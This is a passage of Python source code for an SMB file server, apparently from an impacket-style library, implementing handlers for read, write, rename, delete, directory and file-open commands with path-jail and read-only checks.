smb.SMBFlush_Parameters(SMBCommand['Parameters'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if comFlush['FID'] in connData['OpenedFiles']:\n                errorCode = STATUS_SUCCESS\n                fileHandle = connData['OpenedFiles'][comFlush['FID']]['FileHandle']\n                try:\n                    os.fsync(fileHandle)\n                except Exception as e:\n                    smbServer.log(\"comFlush %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComCreateDirectory(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)\n        respParameters = b''\n        respData = b''\n\n        comCreateDirectoryData = smb.SMBCreateDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            errorCode = STATUS_SUCCESS\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comCreateDirectoryData['DirectoryName']))\n            pathName = os.path.join(path, fileName)\n\n            smbServer.log(\"smbComCreateDirectory: %s\" % (fileName), logging.INFO, connData=connData)\n            if not isInFileJail(path, fileName):\n                smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            elif os.path.exists(pathName):\n                errorCode = STATUS_OBJECT_NAME_COLLISION\n            elif readOnly:\n                errorCode = STATUS_ACCESS_DENIED\n            else:\n                try:\n                    os.mkdir(pathName)\n                except Exception as e:\n                    smbServer.log(\"smbComCreateDirectory: %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComRename(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_RENAME)\n        respParameters = b''\n        respData = b''\n\n        comRenameData = smb.SMBRename_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            errorCode = STATUS_SUCCESS\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            oldFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['OldFileName']))\n            oldPathName = os.path.join(path, oldFileName)\n            newFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['NewFileName']))\n            newPathName = os.path.join(path, newFileName)\n            smbServer.log(\"smbComRename: %s to %s\" % (oldFileName, newFileName), logging.INFO, connData=connData)\n\n            if not isInFileJail(path, oldFileName) or not isInFileJail(path, newFileName):\n                smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n            elif not os.path.exists(oldPathName):\n                errorCode = STATUS_NO_SUCH_FILE\n            elif readOnly:\n                errorCode = STATUS_ACCESS_DENIED\n            else:\n                try:\n                    os.rename(oldPathName, newPathName)\n                except OSError as e:\n                    smbServer.log(\"smbComRename: %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComDelete(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE)\n        respParameters = b''\n        respData = b''\n\n        comDeleteData = smb.SMBDelete_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            errorCode = STATUS_SUCCESS\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteData['FileName']))\n            smbServer.log(\"smbComDelete: %s\" % fileName, logging.INFO, connData=connData)\n            pathName = os.path.join(path, fileName)\n\n            if not isInFileJail(path, fileName):\n                smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            elif not os.path.exists(pathName):\n                errorCode = STATUS_NO_SUCH_FILE\n\n            else:\n                if readOnly:\n                    errorCode = STATUS_ACCESS_DENIED\n                else:\n                    try:\n                        os.remove(pathName)\n                    except OSError as e:\n                        smbServer.log(\"smbComDelete: %s\" % e, logging.ERROR, connData=connData)\n                        errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComDeleteDirectory(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)\n        respParameters = b''\n        respData = b''\n\n        comDeleteDirectoryData = smb.SMBDeleteDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            errorCode = STATUS_SUCCESS\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteDirectoryData['DirectoryName']))\n            pathName = os.path.join(path, fileName)\n\n            if not isInFileJail(path, fileName):\n                smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n            elif not os.path.exists(pathName):\n                errorCode = STATUS_NO_SUCH_FILE\n            elif readOnly:\n                errorCode = STATUS_ACCESS_DENIED\n            else:\n                try:\n                    os.rmdir(pathName)\n                except OSError as e:\n                    smbServer.log(\"smbComDeleteDirectory: %s\" % e, logging.ERROR, connData=connData)\n                    if e.errno == errno.ENOTEMPTY:\n                        errorCode = STATUS_DIRECTORY_NOT_EMPTY\n                    else:\n                        errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComWriteAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)\n        respParameters = smb.SMBWriteAndXResponse_Parameters()\n        respData = b''\n\n        if SMBCommand['WordCount'] == 0x0C:\n            writeAndX = smb.SMBWriteAndX_Parameters_Short(SMBCommand['Parameters'])\n            writeAndXData = smb.SMBWriteAndX_Data_Short()\n        else:\n            writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])\n            writeAndXData = smb.SMBWriteAndX_Data()\n        writeAndXData['DataLength'] = writeAndX['DataLength']\n        writeAndXData['DataOffset'] = writeAndX['DataOffset']\n        writeAndXData.fromString(SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if writeAndX['Fid'] in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][writeAndX['Fid']]['FileHandle']\n                fileName = connData['OpenedFiles'][writeAndX['Fid']]['FileName']\n                smbServer.log(\"smbComWriteAndX: %s\" % (fileName), logging.DEBUG, connData=connData)\n\n                errorCode = STATUS_SUCCESS\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        offset = writeAndX['Offset']\n                        if 'HighOffset' in writeAndX.fields:\n                            offset += (writeAndX['HighOffset'] << 32)\n                        # If we're trying to write past the file end we just skip the write call (Vista does this)\n                        if os.lseek(fileHandle, 0, 2) >= offset:\n                            os.lseek(fileHandle, offset, 0)\n                            os.write(fileHandle, writeAndXData['Data'])\n                    else:\n                        sock = connData['OpenedFiles'][writeAndX['Fid']]['Socket']\n                        sock.send(writeAndXData['Data'])\n                    respParameters['Count'] = writeAndX['DataLength']\n                    respParameters['Available'] = 0xff\n                except Exception as e:\n                    smbServer.log('smbComWriteAndx: %s' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComRead(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ)\n        respParameters = smb.SMBReadResponse_Parameters()\n        respData = smb.SMBReadResponse_Data()\n\n        comReadParameters = smb.SMBRead_Parameters(SMBCommand['Parameters'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if comReadParameters['Fid'] in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][comReadParameters['Fid']]['FileHandle']\n                fileName = connData['OpenedFiles'][comReadParameters['Fid']]['FileName']\n                smbServer.log(\"smbComRead: %s\" % (fileName), logging.DEBUG, connData=connData)\n                errorCode = STATUS_SUCCESS\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        # TODO: Handle big size files\n                        os.lseek(fileHandle, comReadParameters['Offset'], 0)\n                        content = os.read(fileHandle, comReadParameters['Count'])\n                    else:\n                        sock = connData['OpenedFiles'][comReadParameters['Fid']]['Socket']\n                        content = sock.recv(comReadParameters['Count'])\n                    respParameters['Count'] = len(content)\n                    respData['DataLength'] = len(content)\n                    respData['Data'] = content\n                except Exception as e:\n                    smbServer.log('smbComRead: %s ' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComReadAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ_ANDX)\n        respParameters = smb.SMBReadAndXResponse_Parameters()\n        respData = b''\n\n        if SMBCommand['WordCount'] == 0x0A:\n            readAndX = smb.SMBReadAndX_Parameters2(SMBCommand['Parameters'])\n        else:\n            readAndX = smb.SMBReadAndX_Parameters(SMBCommand['Parameters'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if readAndX['Fid'] in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][readAndX['Fid']]['FileHandle']\n                fileName = connData['OpenedFiles'][readAndX['Fid']]['FileName']\n                smbServer.log(\"smbComReadAndX: %s\" % (fileName), logging.DEBUG, connData=connData)\n                errorCode = 0\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        offset = readAndX['Offset']\n                        if 'HighOffset' in readAndX.fields:\n                            offset += (readAndX['HighOffset'] << 32)\n                        os.lseek(fileHandle, offset, 0)\n                        content = os.read(fileHandle, readAndX['MaxCount'])\n                    else:\n                        sock = connData['OpenedFiles'][readAndX['Fid']]['Socket']\n                        content = sock.recv(readAndX['MaxCount'])\n                    respParameters['Remaining'] = 0xffff\n                    respParameters['DataCount'] = len(content)\n                    respParameters['DataOffset'] = 59\n                    respParameters['DataCount_Hi'] = 0\n                    respData = content\n                except Exception as e:\n                    smbServer.log('smbComReadAndX: %s ' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbQueryInformation(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION)\n        respParameters = smb.SMBQueryInformationResponse_Parameters()\n        respData = b''\n\n        queryInformation = smb.SMBQueryInformation_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], queryInformation['FileName']))\n            smbServer.log(\"smbQueryInformation: %s\" % (fileName), logging.DEBUG, connData=connData)\n            if not isInFileJail(path, fileName):\n                smbServer.log(\"Path not in current working directory\", logging.ERROR, connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            else:\n                fileSize, lastWriteTime, fileAttributes = queryFsInformation(path, fileName, pktFlags=recvPacket['Flags2'])\n\n                respParameters['FileSize'] = fileSize\n                respParameters['LastWriteTime'] = lastWriteTime\n                respParameters['FileAttributes'] = fileAttributes\n                errorCode = STATUS_SUCCESS\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbQueryInformationDisk(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION_DISK)\n        respParameters = smb.SMBQueryInformationDiskResponse_Parameters()\n        respData = b''\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            totalUnits, freeUnits = queryDiskInformation(\n                connData['ConnectedShares'][recvPacket['Tid']]['path'])\n\n            respParameters['TotalUnits'] = totalUnits\n            respParameters['BlocksPerUnit'] = 1\n            respParameters['BlockSize'] = 1\n            respParameters['FreeUnits'] = freeUnits\n            errorCode = STATUS_SUCCESS\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respData = b''\n            respParameters = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComEcho(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)\n        respParameters = smb.SMBEchoResponse_Parameters()\n        respData = smb.SMBEchoResponse_Data()\n\n        echoData = smb.SMBEcho_Data(SMBCommand['Data'])\n\n        respParameters['SequenceNumber'] = 1\n        respData['Data'] = echoData['Data']\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        errorCode = STATUS_SUCCESS\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComTreeDisconnect(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_DISCONNECT)\n\n        # Check if the Tid matches the Tid trying to disconnect\n        respParameters = b''\n        respData = b''\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            smbServer.log(\"Disconnecting Share(%d:%s)\" % (\n            recvPacket['Tid'], connData['ConnectedShares'][recvPacket['Tid']]['shareName']), connData=connData)\n            del (connData['ConnectedShares'][recvPacket['Tid']])\n            errorCode = STATUS_SUCCESS\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComLogOffAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOGOFF_ANDX)\n\n        # Check if the Uid matches the user trying to logoff\n        respParameters = b''\n        respData = b''\n        if recvPacket['Uid'] != connData['Uid']:\n            errorCode = STATUS_SMB_BAD_UID\n        else:\n            errorCode = STATUS_SUCCESS\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        connData['Uid'] = 0\n        connData['Authenticated'] = False\n\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComQueryInformation2(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION2)\n        respParameters = smb.SMBQueryInformation2Response_Parameters()\n        respData = b''\n\n        queryInformation2 = smb.SMBQueryInformation2_Parameters(SMBCommand['Parameters'])\n        errorCode = 0xFF\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if queryInformation2['Fid'] in connData['OpenedFiles']:\n                errorCode = STATUS_SUCCESS\n                pathName = connData['OpenedFiles'][queryInformation2['Fid']]['FileName']\n                try:\n                    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)\n                    respParameters['CreateDate'] = getSMBDate(ctime)\n                    respParameters['CreationTime'] = getSMBTime(ctime)\n                    respParameters['LastAccessDate'] = getSMBDate(atime)\n                    respParameters['LastAccessTime'] = getSMBTime(atime)\n                    respParameters['LastWriteDate'] = getSMBDate(mtime)\n                    respParameters['LastWriteTime'] = getSMBTime(mtime)\n                    respParameters['FileDataSize'] = size\n                    respParameters['FileAllocationSize'] = size\n                    attribs = 0\n                    if os.path.isdir(pathName):\n                        attribs = smb.SMB_FILE_ATTRIBUTE_DIRECTORY\n                    if os.path.isfile(pathName):\n                        attribs = smb.SMB_FILE_ATTRIBUTE_NORMAL\n                    respParameters['FileAttributes'] = attribs\n                except Exception as e:\n                    smbServer.log('smbComQueryInformation2 %s' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket):\n        # TODO: Fully implement this\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)\n        respParameters = smb.SMBNtCreateAndXResponse_Parameters()\n        respData = b''\n\n        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])\n        ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # if ntCreateAndXParameters['CreateFlags'] & 0x10:  # NT_CREATE_REQUEST_EXTENDED_RESPONSE\n        #    respParameters        = smb.SMBNtCreateAndXExtendedResponse_Parameters()\n        #    respParameters['VolumeGUID'] = '\\x00'\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            # If we have a rootFid, the path is relative to that fid\n            errorCode = STATUS_SUCCESS\n            if ntCreateAndXParameters['RootFid'] > 0:\n                path = connData['OpenedFiles'][ntCreateAndXParameters['RootFid']]['FileName']\n                LOG.debug(\"RootFid present %s!\" % path)\n            else:\n                if 'path' in connData['ConnectedShares'][recvPacket['Tid']]:\n                    path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n                else:\n                    path = 'NONE'\n                    errorCode = STATUS_ACCESS_DENIED\n\n            deleteOnClose = False\n\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], ntCreateAndXData['FileName']))\n            if not isInFileJail(path, fileName):\n                LOG.error(\"Path not in current working directory\")\n                respSMBCommand['Parameters'] = b''\n                respSMBCommand['Data'] = b''\n                return [respSMBCommand], None, STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            pathName = os.path.join(path, fileName)\n            createDisposition = ntCreateAndXParameters['Disposition']\n            mode = 0\n\n            if createDisposition == smb.FILE_SUPERSEDE:\n                mode |= os.O_TRUNC | os.O_CREAT\n            elif createDisposition & smb.FILE_OVERWRITE_IF == smb.FILE_OVERWRITE_IF:\n                mode |= os.O_TRUNC | os.O_CREAT\n            elif createDisposition & smb.FILE_OVERWRITE == smb.FILE_OVERWRITE:\n                if os.path.exists(pathName) is True:\n                    mode |= os.O_TRUNC\n                else:\n                    errorCode = STATUS_NO_SUCH_FILE\n            elif createDisposition & smb.FILE_OPEN_IF == smb.FILE_OPEN_IF:\n                mode |= os.O_CREAT\n            elif createDisposition & smb.FILE_CREATE == smb.FILE_CREATE:\n                if os.path.exists(pathName) is True:\n                    errorCode = STATUS_OBJECT_NAME_COLLISION\n                else:\n                    mode |= os.O_CREAT\n            elif createDisposition & smb.FILE_OPEN == smb.FILE_OPEN:\n                if os.path.exists(pathName) is not True and (\n                        str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:\n                    errorCode = STATUS_NO_SUCH_FILE\n\n            if errorCode == STATUS_SUCCESS:\n                desiredAccess = ntCreateAndXParameters['AccessMask']\n                if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):\n                    mode |= os.O_RDONLY\n                if (desiredAccess & smb.FILE_WRITE_DATA) or (desiredAccess & smb.GENERIC_WRITE):\n                    if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):\n                        mode |= os.O_RDWR  # | os.O_APPEND\n                    else:\n                        mode |= os.O_WRONLY  # | os.O_APPEND\n                if desiredAccess & smb.GENERIC_ALL:\n                    mode |= os.O_RDWR  # | os.O_APPEND\n\n                createOptions = ntCreateAndXParameters['CreateOptions']\n                if mode & os.O_CREAT == os.O_CREAT:\n                    if createOptions & smb.FILE_DIRECTORY_FILE == smb.FILE_DIRECTORY_FILE and not readOnly:\n                        try:\n                            # Let's create the directory\n                            os.mkdir(pathName)\n                            mode = os.O_RDONLY\n                        except Exception as e:\n                            smbServer.log(\"NTCreateAndX: %s,%s,%s\" % (pathName, mode, e), logging.ERROR, connData=connData)\n                            errorCode = STATUS_ACCESS_DENIED\n                    elif readOnly:\n                        errorCode = STATUS_ACCESS_DENIED\n                if createOptions & smb.FILE_NON_DIRECTORY_FILE == smb.FILE_NON_DIRECTORY_FILE:\n                    # If the file being opened is a directory, the server MUST fail the request with\n                    # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server\n                    # response.\n                    if os.path.isdir(pathName) is True:\n                        errorCode = STATUS_FILE_IS_A_DIRECTORY\n\n                if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:\n                    deleteOnClose = True\n\n                if errorCode == STATUS_SUCCESS:\n                    try:\n                        if os.path.isdir(pathName) and sys.platform == 'win32':\n                            fid = VOID_FILE_DESCRIPTOR\n                        else:\n                            if sys.platform == 'win32':\n                                mode |= os.O_BINARY\n                            if str(pathName) in smbServer.getRegisteredNamedPipes():\n                                fid = PIPE_FILE_DESCRIPTOR\n                                sock = socket.socket()\n                                sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)])\n                            else:\n                                if readOnly:\n                                    mode = os.O_RDONLY\n                                fid = os.open(pathName, mode)\n                    except Exception as e:\n                        smbServer.log(\"NTCreateAndX: %s,%s,%s\" % (pathName, mode, e), logging.ERROR, connData=connData)\n                        # print e\n                        fid = 0\n                        errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode == STATUS_SUCCESS:\n            # Simple way to generate a fid\n            if len(connData['OpenedFiles']) == 0:\n                fakefid = 1\n            else:\n                fakefid = list(connData['OpenedFiles'].keys())[-1] + 1\n            respParameters['Fid'] = fakefid\n            respParameters['CreateAction'] = createDisposition\n            if fid == PIPE_FILE_DESCRIPTOR:\n                respParameters['FileAttributes'] = 0x80\n                respParameters['IsDirectory'] = 0\n                respParameters['CreateTime'] = 0\n                respParameters['LastAccessTime'] = 0\n                respParameters['LastWriteTime'] = 0\n                respParameters['LastChangeTime'] = 0\n                respParameters['AllocationSize'] = 4096\n                respParameters['EndOfFile'] = 0\n                respParameters['FileType'] = 2\n                respParameters['IPCState'] = 0x5ff\n            else:\n                if os.path.isdir(pathName):\n                    respParameters['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY\n                    respParameters['IsDirectory'] = 1\n                else:\n                    respParameters['IsDirectory'] = 0\n                    respParameters['FileAttributes'] = ntCreateAndXParameters['FileAttributes']\n                # Let's get this file's information\n                respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)\n                if errorCode == STATUS_SUCCESS:\n                    respParameters['CreateTime'] = respInfo['CreationTime']\n                    respParameters['LastAccessTime'] = respInfo['LastAccessTime']\n                    respParameters['LastWriteTime'] = respInfo['LastWriteTime']\n                    respParameters['LastChangeTime'] = respInfo['LastChangeTime']\n                    respParameters['FileAttributes'] = respInfo['ExtFileAttributes']\n                    respParameters['AllocationSize'] = respInfo['AllocationSize']\n                    respParameters['EndOfFile'] = respInfo['EndOfFile']\n                else:\n                    respParameters = b''\n                    respData = b''\n\n            if errorCode == STATUS_SUCCESS:\n                # Let's store the fid for the connection\n                # smbServer.log('Create file %s, mode:0x%x' % (pathName, mode), connData=connData)\n                connData['OpenedFiles'][fakefid] = {}\n                connData['OpenedFiles'][fakefid]['FileHandle'] = fid\n                connData['OpenedFiles'][fakefid]['FileName'] = pathName\n                connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose\n                if fid == PIPE_FILE_DESCRIPTOR:\n                    connData['OpenedFiles'][fakefid]['Socket'] = sock\n        else:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComOpenAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX)\n        respParameters = smb.SMBOpenAndXResponse_Parameters()\n        respData = b''\n\n        openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])\n        openAndXData = smb.SMBOpenAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            openedFile, mode, pathName, errorCode = openFile(path,\n                                                             decodeSMBString(recvPacket['Flags2'],\n                                                                             openAndXData['FileName']),\n                                                             openAndXParameters['DesiredAccess'],\n                                                             openAndXParameters['FileAttributes'],\n                                                             openAndXParameters['OpenMode'], readOnly)\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode == STATUS_SUCCESS:\n            # Simple way to generate a fid\n            fid = len(connData['OpenedFiles']) + 1\n            if len(connData['OpenedFiles']) == 0:\n                fid = 1\n            else:\n                fid = list(connData['OpenedFiles'].keys())[-1] + 1\n            respParameters['Fid'] = fid\n            if mode & os.O_CREAT:\n                # File did not exist and was created\n                respParameters['Action'] = 0x2\n            elif mode & os.O_RDONLY:\n                # File existed and was opened\n                respParameters['Action'] = 